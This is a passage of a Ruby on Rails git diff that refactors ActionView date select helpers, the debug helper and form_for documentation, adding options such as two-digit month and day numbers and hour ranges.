-              leap_years = (fyear > tyear) ? 0 : (fyear..tyear).count{|x| Date.leap?(x)}
-              minute_offset_for_leap_year = leap_years * 1440
-              # Discount the leap year days when calculating year distance.
-              # e.g. if there are 20 leap year days between 2 dates having the same day
-              # and month then the based on 365 days calculation
-              # the distance in years will come out to over 80 years when in written
-              # english it would read better as about 80 years.
-              minutes_with_offset         = distance_in_minutes - minute_offset_for_leap_year
+              if from_time.acts_like?(:time) && to_time.acts_like?(:time)
+                fyear = from_time.year
+                fyear += 1 if from_time.month >= 3
+                tyear = to_time.year
+                tyear -= 1 if to_time.month < 3
+                leap_years = (fyear > tyear) ? 0 : (fyear..tyear).count{|x| Date.leap?(x)}
+                minute_offset_for_leap_year = leap_years * 1440
+                # Discount the leap year days when calculating year distance.
+                # e.g. if there are 20 leap year days between 2 dates having the same day
+                # and month then the based on 365 days calculation
+                # the distance in years will come out to over 80 years when in written
+                # english it would read better as about 80 years.
+                minutes_with_offset = distance_in_minutes - minute_offset_for_leap_year
+              else
+                minutes_with_offset = distance_in_minutes
+              end
               remainder                   = (minutes_with_offset % 525600)
               distance_in_years           = (minutes_with_offset / 525600)
               if remainder < 131400
@@ -121,16 +139,15 @@ module ActionView
 
       # Like <tt>distance_of_time_in_words</tt>, but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
       #
-      # ==== Examples
-      #   time_ago_in_words(3.minutes.from_now)       # => 3 minutes
-      #   time_ago_in_words(Time.now - 15.hours)      # => about 15 hours
-      #   time_ago_in_words(Time.now)                 # => less than a minute
+      #   time_ago_in_words(3.minutes.from_now)                 # => 3 minutes
+      #   time_ago_in_words(Time.now - 15.hours)                # => about 15 hours
+      #   time_ago_in_words(Time.now)                           # => less than a minute
+      #   time_ago_in_words(Time.now, :include_seconds => true) # => less than 5 seconds
       #
       #   from_time = Time.now - 3.days - 14.minutes - 25.seconds
       #   time_ago_in_words(from_time)      # => 3 days
-      #
-      def time_ago_in_words(from_time, include_seconds = false)
-        distance_of_time_in_words(from_time, Time.now, include_seconds)
+      def time_ago_in_words(from_time, include_seconds_or_options = {})
+        distance_of_time_in_words(from_time, Time.now, include_seconds_or_options)
       end
 
       alias_method :distance_of_time_in_words_to_now, :time_ago_in_words
@@ -142,6 +159,8 @@ module ActionView
       # ==== Options
       # * <tt>:use_month_numbers</tt> - Set to true if you want to use month numbers rather than month names (e.g.
       #   "2" instead of "February").
+      # * <tt>:use_two_digit_numbers</tt> - Set to true if you want to display two digit month and day numbers (e.g.
+      #   "02" instead of "February" and "08" instead of "8").
       # * <tt>:use_short_month</tt>   - Set to true if you want to use abbreviated month names instead of full
       #   month names (e.g. "Feb" instead of "February").
       # * <tt>:add_month_numbers</tt>  - Set to true if you want to use both month numbers and month names (e.g.
@@ -175,7 +194,6 @@ module ActionView
       #
       # NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed.
       #
-      # ==== Examples
       #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute.
       #   date_select("article", "written_on")
       #
@@ -189,6 +207,10 @@ module ActionView
       #   date_select("article", "written_on", :start_year => 1995, :use_month_numbers => true,
       #                                     :discard_day => true, :include_blank => true)
       #
+      #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute,
+      #   # with two digit numbers used for months and days.
+      #   date_select("article", "written_on", :use_two_digit_numbers => true)
+      #
       #   # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute
       #   # with the fields ordered as day, month, year rather than month, day, year.
       #   date_select("article", "written_on", :order => [:day, :month, :year])
@@ -213,7 +235,7 @@ module ActionView
       # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
       # all month choices are valid.
       def date_select(object_name, method, options = {}, html_options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_date_select_tag(options, html_options)
+        Tags::DateSelect.new(object_name, method, self, options, html_options).render
       end
 
       # Returns a set of select tags (one for hour, minute and optionally second) pre-selected for accessing a
@@ -227,7 +249,6 @@ module ActionView
       #
       # If anything is passed in the html_options hash it will be applied to every select tag in the set.
       #
-      # ==== Examples
       #   # Creates a time select tag that, when POSTed, will be stored in the article variable in the sunrise attribute.
       #   time_select("article", "sunrise")
       #
@@ -251,7 +272,7 @@ module ActionView
       # Note: If the day is not included as an option but the month is, the day will be set to the 1st to ensure that
       # all month choices are valid.
       def time_select(object_name, method, options = {}, html_options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_time_select_tag(options, html_options)
+        Tags::TimeSelect.new(object_name, method, self, options, html_options).render
       end
 
       # Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a
@@ -260,7 +281,6 @@ module ActionView
       #
       # If anything is passed in the html_options hash it will be applied to every select tag in the set.
       #
-      # ==== Examples
       #   # Generates a datetime select that, when POSTed, will be stored in the article variable in the written_on
       #   # attribute.
       #   datetime_select("article", "written_on")
@@ -287,7 +307,7 @@ module ActionView
       #
       # The selects are prepared for multi-parameter assignment to an Active Record object.
       def datetime_select(object_name, method, options = {}, html_options = {})
-        InstanceTag.new(object_name, method, self, options.delete(:object)).to_datetime_select_tag(options, html_options)
+        Tags::DatetimeSelect.new(object_name, method, self, options, html_options).render
       end
 
       # Returns a set of html select-tags (one for year, month, day, hour, minute, and second) pre-selected with the
@@ -299,7 +319,6 @@ module ActionView
       #
       # If anything is passed in the html_options hash it will be applied to every select tag in the set.
       #
-      # ==== Examples
       #   my_date_time = Time.now + 4.days
       #
       #   # Generates a datetime select that defaults to the datetime in my_date_time (four days after today).
@@ -336,7 +355,6 @@ module ActionView
       #   select_datetime(my_date_time, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
       #   select_datetime(my_date_time, :prompt => {:hour => true}) # generic prompt for hours
       #   select_datetime(my_date_time, :prompt => true) # generic prompts for all
-      #
       def select_datetime(datetime = Time.current, options = {}, html_options = {})
         DateTimeSelector.new(datetime, options, html_options).select_datetime
       end
@@ -348,7 +366,6 @@ module ActionView
       #
       # If anything is passed in the html_options hash it will be applied to every select tag in the set.
       #
-      # ==== Examples
       #   my_date = Time.now + 6.days
       #
       #   # Generates a date select that defaults to the date in my_date (six days after today).
@@ -377,7 +394,6 @@ module ActionView
       #   select_date(my_date, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
       #   select_date(my_date, :prompt => {:hour => true}) # generic prompt for hours
       #   select_date(my_date, :prompt => true) # generic prompts for all
-      #
       def select_date(date = Date.current, options = {}, html_options = {})
         DateTimeSelector.new(date, options, html_options).select_date
       end
@@ -388,7 +404,6 @@ module ActionView
       #
       # If anything is passed in the html_options hash it will be applied to every select tag in the set.
       #
-      # ==== Examples
       #   my_time = Time.now + 5.days + 7.hours + 3.minutes + 14.seconds
       #
       #   # Generates a time select that defaults to the time in my_time.
@@ -412,20 +427,21 @@ module ActionView
       #   # Generate a time select field with hours in the AM/PM format
       #   select_time(my_time, :ampm => true)
       #
+      #   # Generates a time select field with hours that range from 2 to 14
+      #   select_time(my_time, :start_hour => 2, :end_hour => 14)
+      #
       #   # Generates a time select with a custom prompt. Use <tt>:prompt</tt> to true for generic prompts.
       #   select_time(my_time, :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'})
       #   select_time(my_time, :prompt => {:hour => true}) # generic prompt for hours
       #   select_time(my_time, :prompt => true) # generic prompts for all
-      #
       def select_time(datetime = Time.current, options = {}, html_options = {})
         DateTimeSelector.new(datetime, options, html_options).select_time
       end
 
       # Returns a select tag with options for each of the seconds 0 through 59 with the current second selected.
-      # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.      
+      # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
       # Override the field name using the <tt>:field_name</tt> option, 'second' by default.
       #
-      # ==== Examples
       #   my_time = Time.now + 16.minutes
       #
       #   # Generates a select field for seconds that defaults to the seconds for the time in my_time.
@@ -441,17 +457,15 @@ module ActionView
       #   # Generates a select field for seconds with a custom prompt. Use <tt>:prompt => true</tt> for a
       #   # generic prompt.
       #   select_second(14, :prompt => 'Choose seconds')
-      #
       def select_second(datetime, options = {}, html_options = {})
         DateTimeSelector.new(datetime, options, html_options).select_second
       end
 
       # Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected.
       # Also can return a select tag with options by <tt>minute_step</tt> from 0 through 59 with the 00 minute
-      # selected. The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer. 
+      # selected. The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
       # Override the field name using the <tt>:field_name</tt> option, 'minute' by default.
       #
-      # ==== Examples
       #   my_time = Time.now + 6.hours
       #
       #   # Generates a select field for minutes that defaults to the minutes for the time in my_time.
@@ -467,16 +481,14 @@ module ActionView
       #   # Generates a select field for minutes with a custom prompt. Use <tt>:prompt => true</tt> for a
       #   # generic prompt.
       #   select_minute(14, :prompt => 'Choose minutes')
-      #
       def select_minute(datetime, options = {}, html_options = {})
         DateTimeSelector.new(datetime, options, html_options).select_minute
       end
 
       # Returns a select tag with options for each of the hours 0 through 23 with the current hour selected.
-      # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.      
+      # The <tt>datetime</tt> can be either a +Time+ or +DateTime+ object or an integer.
       # Override the field name using the <tt>:field_name</tt> option, 'hour' by default.
       #
-      # ==== Examples
       #   my_time = Time.now + 6.hours
       #
       #   # Generates a select field for hours that defaults to the hour for the time in my_time.
@@ -496,15 +508,17 @@ module ActionView
       #   # Generate a select field for hours in the AM/PM format
       #   select_hour(my_time, :ampm => true)
       #
+      #   # Generates a select field that includes options for hours from 2 to 14.
+      #   select_hour(my_time, :start_hour => 2, :end_hour => 14)
       def select_hour(datetime, options = {}, html_options = {})
         DateTimeSelector.new(datetime, options, html_options).select_hour
       end
 
       # Returns a select tag with options for each of the days 1 through 31 with the current day selected.
       # The <tt>date</tt> can also be substituted for a day number.
+      # If you want to display days with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
       # Override the field name using the <tt>:field_name</tt> option, 'day' by default.
       #
-      # ==== Examples
       #   my_date = Time.now + 2.days
       #
       #   # Generates a select field for days that defaults to the day for the date in my_date.
@@ -513,6 +527,9 @@ module ActionView
       #   # Generates a select field for days that defaults to the number given.
       #   select_day(5)
       #
+      #   # Generates a select field for days that defaults to the number given, but displays it with two digits.
+      #   select_day(5, :use_two_digit_numbers => true)
+      #
       #   # Generates a select field for days that defaults to the day for the date in my_date
       #   # that is named 'due' rather than 'day'.
       #   select_day(my_time, :field_name => 'due')
@@ -520,7 +537,6 @@ module ActionView
       #   # Generates a select field for days with a custom prompt. Use <tt>:prompt => true</tt> for a
       #   # generic prompt.
       #   select_day(5, :prompt => 'Choose day')
-      #
       def select_day(date, options = {}, html_options = {})
         DateTimeSelector.new(date, options, html_options).select_day
       end
@@ -532,9 +548,9 @@ module ActionView
       # want both numbers and names, set the <tt>:add_month_numbers</tt> key in +options+ to true. If you would prefer
       # to show month names as abbreviations, set the <tt>:use_short_month</tt> key in +options+ to true. If you want
       # to use your own month names, set the <tt>:use_month_names</tt> key in +options+ to an array of 12 month names.
+      # If you want to display months with a leading zero set the <tt>:use_two_digit_numbers</tt> key in +options+ to true.
       # Override the field name using the <tt>:field_name</tt> option, 'month' by default.
       #
-      # ==== Examples
       #   # Generates a select field for months that defaults to the current month that
       #   # will use keys like "January", "March".
       #   select_month(Date.today)
@@ -559,10 +575,13 @@ module ActionView
       #   # will use keys like "Januar", "Marts."
       #   select_month(Date.today, :use_month_names => %w(Januar Februar Marts ...))
       #
+      #   # Generates a select field for months that defaults to the current month that
+      #   # will use keys with two digit numbers like "01", "03".
+      #   select_month(Date.today, :use_two_digit_numbers => true)
+      #
       #   # Generates a select field for months with a custom prompt. Use <tt>:prompt => true</tt> for a
       #   # generic prompt.
       #   select_month(14, :prompt => 'Choose month')
-      #
       def select_month(date, options = {}, html_options = {})
         DateTimeSelector.new(date, options, html_options).select_month
       end
@@ -573,7 +592,6 @@ module ActionView
       # greater than <tt>:end_year</tt>. The <tt>date</tt> can also be substituted for a year given as a number.
       # Override the field name using the <tt>:field_name</tt> option, 'year' by default.
       #
-      # ==== Examples
       #   # Generates a select field for years that defaults to the current year that
       #   # has ascending year values.
       #   select_year(Date.today, :start_year => 1992, :end_year => 2007)
@@ -593,14 +611,12 @@ module ActionView
       #   # Generates a select field for years with a custom prompt. Use <tt>:prompt => true</tt> for a
       #   # generic prompt.
       #   select_year(14, :prompt => 'Choose year')
-      #
       def select_year(date, options = {}, html_options = {})
         DateTimeSelector.new(date, options, html_options).select_year
       end
 
       # Returns an html time tag for the given date or time.
       #
-      # ==== Examples
       #   time_tag Date.today  # =>
       #     <time datetime="2010-11-04">November 04, 2010</time>
       #   time_tag Time.now  # =>
@@ -610,13 +626,17 @@ module ActionView
       #   time_tag Date.today, :pubdate => true  # =>
       #     <time datetime="2010-11-04" pubdate="pubdate">November 04, 2010</time>
       #
-      def time_tag(date_or_time, *args)
+      #   <%= time_tag Time.now do %>
+      #     <span>Right now</span>
+      #   <% end %>
+      #   # => <time datetime="2010-11-04T17:55:45+01:00"><span>Right now</span></time>
+      def time_tag(date_or_time, *args, &block)
         options  = args.extract_options!
         format   = options.delete(:format) || :long
         content  = args.first || I18n.l(date_or_time, :format => format)
         datetime = date_or_time.acts_like?(:time) ? date_or_time.xmlschema : date_or_time.rfc3339
 
-        content_tag(:time, content, options.reverse_merge(:datetime => datetime))
+        content_tag(:time, content, options.reverse_merge(:datetime => datetime), &block)
       end
     end
 
@@ -654,11 +674,7 @@ module ActionView
         @options[:discard_minute] ||= true if @options[:discard_hour]
         @options[:discard_second] ||= true unless @options[:include_seconds] && !@options[:discard_minute]
 
-        # If the day is hidden and the month is visible, the day should be set to the 1st so all month choices are
-        # valid (otherwise it could be 31 and February wouldn't be a valid date)
-        if @datetime && @options[:discard_day] && !@options[:discard_month]
-          @datetime = @datetime.change(:day => 1)
-        end
+        set_day_if_discarded
 
         if @options[:tag] && @options[:ignore_date]
           select_time
@@ -681,11 +697,7 @@ module ActionView
         @options[:discard_month]  ||= true unless order.include?(:month)
         @options[:discard_day]    ||= true if @options[:discard_month] || !order.include?(:day)
 
-        # If the day is hidden and the month is visible, the day should be set to the 1st so all month choices are
-        # valid (otherwise it could be 31 and February wouldn't be a valid date)
-        if @datetime && @options[:discard_day] && !@options[:discard_month]
-          @datetime = @datetime.change(:day => 1)
-        end
+        set_day_if_discarded
 
         [:day, :month, :year].each { |o| order.unshift(o) unless order.include?(o) }
 
@@ -728,21 +740,25 @@ module ActionView
         if @options[:use_hidden] || @options[:discard_hour]
           build_hidden(:hour, hour)
         else
-          build_options_and_select(:hour, hour, :end => 23, :ampm => @options[:ampm])
+          options         = {}
+          options[:ampm]  = @options[:ampm] || false
+          options[:start] = @options[:start_hour] || 0
+          options[:end]   = @options[:end_hour] || 23
+          build_options_and_select(:hour, hour, options)
         end
       end
 
       def select_day
         if @options[:use_hidden] || @options[:discard_day]
-          build_hidden(:day, day)
+          build_hidden(:day, day || 1)
         else
-          build_options_and_select(:day, day, :start => 1, :end => 31, :leading_zeros => false)
+          build_options_and_select(:day, day, :start => 1, :end => 31, :leading_zeros => false, :use_two_digit_numbers => @options[:use_two_digit_numbers])
         end
       end
 
       def select_month
         if @options[:use_hidden] || @options[:discard_month]
-          build_hidden(:month, month)
+          build_hidden(:month, month || 1)
         else
           month_options = []
           1.upto(12) do |month_number|
@@ -756,7 +772,7 @@ module ActionView
 
       def select_year
         if !@datetime || @datetime == 0
-          val = ''
+          val = '1'
           middle_year = Date.today.year
         else
           val = middle_year = year
@@ -783,7 +799,15 @@ module ActionView
       private
         %w( sec min hour day month year ).each do |method|
           define_method(method) do
-            @datetime.kind_of?(Fixnum) ? @datetime : @datetime.send(method) if @datetime
+            @datetime.kind_of?(Numeric) ? @datetime : @datetime.send(method) if @datetime
+          end
+        end
+
+        # If the day is hidden, the day should be set to the 1st so all month and year choices are
+        # valid. Otherwise, February 31st or February 29th, 2011 can be selected, which are invalid.
+        def set_day_if_discarded
+          if @datetime && @options[:discard_day]
+            @datetime = @datetime.change(:day => 1)
           end
         end
 
@@ -817,11 +841,16 @@ module ActionView
         # If <tt>:use_month_numbers</tt> option is passed
         #  month_name(1) => 1
         #
+        # If <tt>:use_two_month_numbers</tt> option is passed
+        #  month_name(1) => '01'
+        #
         # If <tt>:add_month_numbers</tt> option is passed
         #  month_name(1) => "1 - January"
         def month_name(number)
           if @options[:use_month_numbers]
             number
+          elsif @options[:use_two_digit_numbers]
+            sprintf "%02d", number
           elsif @options[:add_month_numbers]
             "#{number} - #{month_names[number]}"
           else
@@ -834,7 +863,15 @@ module ActionView
         end
 
         def translated_date_order
-          I18n.translate(:'date.order', :locale => @options[:locale]) || []
+          date_order = I18n.translate(:'date.order', :locale => @options[:locale], :default => [])
+
+          forbidden_elements = date_order - [:year, :month, :day]
+          if forbidden_elements.any?
+            raise StandardError,
+              "#{@options[:locale]}.date.order only accepts :year, :month and :day"
+          end
+
+          date_order
         end
 
         # Build full select tag from date type and options.
@@ -848,6 +885,12 @@ module ActionView
         #      <option value="2">2</option>
         #      <option value="3">3</option>..."
         #
+        # If <tt>:use_two_digit_numbers => true</tt> option is passed
+        #  build_options(15, :start => 1, :end => 31, :use_two_digit_numbers => true)
+        #  => "<option value="1">01</option>
+        #      <option value="2">02</option>
+        #      <option value="3">03</option>..."
+        #
         # If <tt>:step</tt> options is passed
         #  build_options(15, :start => 1, :end => 31, :step => 2)
         #  => "<option value="1">1</option>
@@ -857,7 +900,7 @@ module ActionView
           start         = options.delete(:start) || 0
           stop          = options.delete(:end) || 59
           step          = options.delete(:step) || 1
-          options.reverse_merge!({:leading_zeros => true, :ampm => false})
+          options.reverse_merge!({:leading_zeros => true, :ampm => false, :use_two_digit_numbers => false})
           leading_zeros = options.delete(:leading_zeros)
 
           select_options = []
@@ -865,7 +908,8 @@ module ActionView
             value = leading_zeros ? sprintf("%02d", i) : i
             tag_options = { :value => value }
             tag_options[:selected] = "selected" if selected == i
-            text = options[:ampm] ? AMPM_TRANSLATION[i] : value
+            text = options[:use_two_digit_numbers] ? sprintf("%02d", i) : value
+            text = options[:ampm] ? AMPM_TRANSLATION[i] : text
             select_options << content_tag(:option, text, tag_options)
           end
           (select_options.join("\n") + "\n").html_safe
@@ -937,15 +981,19 @@ module ActionView
         # Returns the id attribute for the input tag.
         #  => "post_written_on_1i"
         def input_id_from_type(type)
-          input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '')
+          id = input_name_from_type(type).gsub(/([\[\(])|(\]\[)/, '_').gsub(/[\]\)]/, '')
+          id = @options[:namespace] + '_' + id if @options[:namespace]
+
+          id
         end
 
         # Given an ordering of datetime components, create the selection HTML
         # and join them with their appropriate separators.
         def build_selects_from_types(order)
           select = ''
+          first_visible = order.find { |type| !@options[:"discard_#{type}"] }
           order.reverse.each do |type|
-            separator = separator(type) unless type == order.first # don't add on last field
+            separator = separator(type) unless type == first_visible # don't add before first visible field
             select.insert(0, separator.to_s + send("select_#{type}").to_s)
           end
           select.html_safe
@@ -953,75 +1001,15 @@ module ActionView
 
         # Returns the separator for a given datetime component.
         def separator(type)
+          return "" if @options[:use_hidden]
+
           case type
-            when :year
-              @options[:discard_year] ? "" : @options[:date_separator]
-            when :month
-              @options[:discard_month] ? "" : @options[:date_separator]
-            when :day
-              @options[:discard_day] ? "" : @options[:date_separator]
+            when :year, :month, :day
+              @options[:"discard_#{type}"] ? "" : @options[:date_separator]
             when :hour
               (@options[:discard_year] && @options[:discard_day]) ? "" : @options[:datetime_separator]
-            when :minute
-              @options[:discard_minute] ? "" : @options[:time_separator]
-            when :second
-              @options[:include_seconds] ? @options[:time_separator] : ""
-          end
-        end
-    end
-
-    class InstanceTag #:nodoc:
-      def to_date_select_tag(options = {}, html_options = {})
-        datetime_selector(options, html_options).select_date.html_safe
-      end
-
-      def to_time_select_tag(options = {}, html_options = {})
-        datetime_selector(options, html_options).select_time.html_safe
-      end
-
-      def to_datetime_select_tag(options = {}, html_options = {})
-        datetime_selector(options, html_options).select_datetime.html_safe
-      end
-
-      private
-        def datetime_selector(options, html_options)
-          datetime = value(object) || default_datetime(options)
-          @auto_index ||= nil
-
-          options = options.dup
-          options[:field_name]           = @method_name
-          options[:include_position]     = true
-          options[:prefix]             ||= @object_name
-          options[:index]                = @auto_index if @auto_index && !options.has_key?(:index)
-
-          DateTimeSelector.new(datetime, options, html_options)
-        end
-
-        def default_datetime(options)
-          return if options[:include_blank] || options[:prompt]
-
-          case options[:default]
-            when nil
-              Time.current
-            when Date, Time
-              options[:default]
-            else
-              default = options[:default].dup
-
-              # Rename :minute and :second to :min and :sec
-              default[:min] ||= default[:minute]
-              default[:sec] ||= default[:second]
-
-              time = Time.current
-
-              [:year, :month, :day, :hour, :min, :sec].each do |key|
-                default[key] ||= time.send(key)
-              end
-
-              Time.utc_time(
-                default[:year], default[:month], default[:day],
-                default[:hour], default[:min], default[:sec]
-              )
+            when :minute, :second
+              @options[:"discard_#{type}"] ? "" : @options[:time_separator]
           end
         end
     end
diff --git a/actionpack/lib/action_view/helpers/debug_helper.rb b/actionpack/lib/action_view/helpers/debug_helper.rb
index c0cc7d347c..d8b92c5cab 100644
--- a/actionpack/lib/action_view/helpers/debug_helper.rb
+++ b/actionpack/lib/action_view/helpers/debug_helper.rb
@@ -4,12 +4,13 @@ module ActionView
   # Provides a set of methods for making it easier to debug Rails objects.
   module Helpers
     module DebugHelper
+
+      include TagHelper
+
       # Returns a YAML representation of +object+ wrapped with <pre> and </pre>.
       # If the object cannot be converted to YAML using +to_yaml+, +inspect+ will be called instead.
       # Useful for inspecting an object at the time of rendering.
       #
-      # ==== Example
-      #
       #   @user = User.new({ :username => 'testing', :password => 'xyz', :age => 42}) %>
       #   debug(@user)
       #   # =>
@@ -25,14 +26,14 @@ module ActionView
       #
       #   new_record: true
       #   </pre>
-
       def debug(object)
         begin
           Marshal::dump(object)
-          "<pre class='debug_dump'>#{h(object.to_yaml).gsub("  ", "&nbsp; ")}</pre>".html_safe
+          object = ERB::Util.html_escape(object.to_yaml).gsub("  ", "&nbsp; ").html_safe
+          content_tag(:pre, object, :class => "debug_dump")
         rescue Exception  # errors from Marshal or YAML
           # Object couldn't be dumped, perhaps because of singleton methods -- this is the fallback
-          "<code class='debug_dump'>#{h(object.inspect)}</code>".html_safe
+          content_tag(:code, object.to_yaml, :class => "debug_dump")
         end
       end
     end
diff --git a/actionpack/lib/action_view/helpers/form_helper.rb b/actionpack/lib/action_view/helpers/form_helper.rb
index f148ffbd73..b79577bcd3 100644
--- a/actionpack/lib/action_view/helpers/form_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_helper.rb
@@ -2,12 +2,14 @@ require 'cgi'
 require 'action_view/helpers/date_helper'
 require 'action_view/helpers/tag_helper'
 require 'action_view/helpers/form_tag_helper'
-require 'active_support/core_ext/class/attribute'
+require 'action_view/helpers/active_model_helper'
+require 'action_view/helpers/tags'
+require 'active_support/core_ext/class/attribute_accessors'
 require 'active_support/core_ext/hash/slice'
-require 'active_support/core_ext/module/method_names'
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/string/output_safety'
 require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/string/inflections'
+require 'action_controller/model_naming'
 
 module ActionView
   # = Action View Form Helpers
@@ -15,17 +17,28 @@ module ActionView
     # Form helpers are designed to make working with resources much easier
     # compared to using vanilla HTML.
     #
-    # Forms for models are created with +form_for+. That method yields a form
-    # builder that knows the model the form is about. The form builder is thus
-    # able to generate default values for input fields that correspond to model
-    # attributes, and also convenient names, IDs, endpoints, etc.
+    # Typically, a form designed to create or update a resource reflects the
+    # identity of the resource in several ways: (i) the url that the form is
+    # sent to (the form element's +action+ attribute) should result in a request
+    # being routed to the appropriate controller action (with the appropriate <tt>:id</tt>
+    # parameter in the case of an existing resource), (ii) input fields should
+    # be named in such a way that in the controller their values appear in the
+    # appropriate places within the +params+ hash, and (iii) for an existing record,
+    # when the form is initially displayed, input fields corresponding to attributes
+    # of the resource should show the current values of those attributes.
     #
-    # Conventions in the generated field names allow controllers to receive form
-    # data nicely structured in +params+ with no effort on your side.
+    # In Rails, this is usually achieved by creating the form using +form_for+ and
+    # a number of related helper methods. +form_for+ generates an appropriate <tt>form</tt>
+    # tag and yields a form builder object that knows the model the form is about.
+    # Input fields are created by calling methods defined on the form builder, which
+    # means they are able to generate the appropriate names and default values
+    # corresponding to the model attributes, as well as convenient IDs, etc.
+    # Conventions in the generated field names allow controllers to receive form data
+    # nicely structured in +params+ with no effort on your side.
     #
     # For example, to create a new person you typically set up a new instance of
     # +Person+ in the <tt>PeopleController#new</tt> action, <tt>@person</tt>, and
-    # pass it to +form_for+:
+    # in the view template pass that object to +form_for+:
     #
     #   <%= form_for @person do |f| %>
     #     <%= f.label :first_name %>:
@@ -44,10 +57,10 @@ module ActionView
     #       <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
     #     </div>
     #     <label for="person_first_name">First name</label>:
-    #     <input id="person_first_name" name="person[first_name]" size="30" type="text" /><br />
+    #     <input id="person_first_name" name="person[first_name]" type="text" /><br />
     #
     #     <label for="person_last_name">Last name</label>:
-    #     <input id="person_last_name" name="person[last_name]" size="30" type="text" /><br />
+    #     <input id="person_last_name" name="person[last_name]" type="text" /><br />
     #
     #     <input name="commit" type="submit" value="Create Person" />
     #   </form>
@@ -75,10 +88,10 @@ module ActionView
     #       <input name="authenticity_token" type="hidden" value="NrOp5bsjoLRuK8IW5+dQEYjKGUJDe7TQoZVvq95Wteg=" />
     #     </div>
     #     <label for="person_first_name">First name</label>:
-    #     <input id="person_first_name" name="person[first_name]" size="30" type="text" value="John" /><br />
+    #     <input id="person_first_name" name="person[first_name]" type="text" value="John" /><br />
     #
     #     <label for="person_last_name">Last name</label>:
-    #     <input id="person_last_name" name="person[last_name]" size="30" type="text" value="Smith" /><br />
+    #     <input id="person_last_name" name="person[last_name]" type="text" value="Smith" /><br />
     #
     #     <input name="commit" type="submit" value="Update Person" />
     #   </form>
@@ -102,35 +115,16 @@ module ActionView
 
       include FormTagHelper
       include UrlHelper
+      include ActionController::ModelNaming
 
-      # Converts the given object to an ActiveModel compliant one.
-      def convert_to_model(object)
-        object.respond_to?(:to_model) ? object.to_model : object
-      end
-
-      # Creates a form and a scope around a specific model object that is used
-      # as a base for questioning about values for the fields.
-      #
-      # Rails provides succinct resource-oriented form generation with +form_for+
-      # like this:
-      #
-      #   <%= form_for @offer do |f| %>
-      #     <%= f.label :version, 'Version' %>:
-      #     <%= f.text_field :version %><br />
-      #     <%= f.label :author, 'Author' %>:
-      #     <%= f.text_field :author %><br />
-      #     <%= f.submit %>
-      #   <% end %>
-      #
-      # There, +form_for+ is able to generate the rest of RESTful form
-      # parameters based on introspection on the record, but to understand what
-      # it does we need to dig first into the alternative generic usage it is
-      # based upon.
-      #
-      # === Generic form_for
+      # Creates a form that allows the user to create or update the attributes
+      # of a specific model object.
       #
-      # The generic way to call +form_for+ yields a form builder around a
-      # model:
+      # The method can be used in several slightly different ways, depending on
+      # how much you wish to rely on Rails to infer automatically from the model
+      # how the form should be constructed. For a generic model object, a form
+      # can be created by passing +form_for+ a string or symbol representing
+      # the object we are concerned with:
       #
       #   <%= form_for :person do |f| %>
       #     First name: <%= f.text_field :first_name %><br />
@@ -140,35 +134,53 @@ module ActionView
       #     <%= f.submit %>
       #   <% end %>
       #
-      # There, the argument is a symbol or string with the name of the
-      # object the form is about.
-      #
-      # The form builder acts as a regular form helper that somehow carries the
-      # model. Thus, the idea is that
+      # The variable +f+ yielded to the block is a FormBuilder object that
+      # incorporates the knowledge about the model object represented by
+      # <tt>:person</tt> passed to +form_for+. Methods defined on the FormBuilder
+      # are used to generate fields bound to this model. Thus, for example,
       #
       #   <%= f.text_field :first_name %>
       #
-      # gets expanded to
+      # will get expanded to
       #
       #   <%= text_field :person, :first_name %>
+      # which results in an html <tt><input></tt> tag whose +name+ attribute is
+      # <tt>person[first_name]</tt>. This means that when the form is submitted,
+      # the value entered by the user will be available in the controller as
+      # <tt>params[:person][:first_name]</tt>.
+      #
+      # For fields generated in this way using the FormBuilder,
+      # if <tt>:person</tt> also happens to be the name of an instance variable
+      # <tt>@person</tt>, the default value of the field shown when the form is
+      # initially displayed (e.g. in the situation where you are editing an
+      # existing record) will be the value of the corresponding attribute of
+      # <tt>@person</tt>.
       #
       # The rightmost argument to +form_for+ is an
-      # optional hash of options:
-      #
-      # * <tt>:url</tt> - The URL the form is submitted to. It takes the same
-      #   fields you pass to +url_for+ or +link_to+. In particular you may pass
-      #   here a named route directly as well. Defaults to the current action.
+      # optional hash of options -
+      #
+      # * <tt>:url</tt> - The URL the form is to be submitted to. This may be
+      #   represented in the same way as values passed to +url_for+ or +link_to+.
+      #   So for example you may use a named route directly. When the model is
+      #   represented by a string or symbol, as in the example above, if the
+      #   <tt>:url</tt> option is not specified, by default the form will be
+      #   sent back to the current url (We will describe below an alternative
+      #   resource-oriented usage of +form_for+ in which the URL does not need
+      #   to be specified explicitly).
+      # * <tt>:namespace</tt> - A namespace for your form to ensure uniqueness of
+      #   id attributes on form elements. The namespace attribute will be prefixed
+      #   with underscore on the generated HTML id.
       # * <tt>:html</tt> - Optional HTML attributes for the form tag.
       #
       # Also note that +form_for+ doesn't create an exclusive scope. It's still
       # possible to use both the stand-alone FormHelper methods and methods
       # from FormTagHelper. For example:
       #
-      #   <%= form_for @person do |f| %>
+      #   <%= form_for :person do |f| %>
       #     First name: <%= f.text_field :first_name %>
       #     Last name : <%= f.text_field :last_name %>
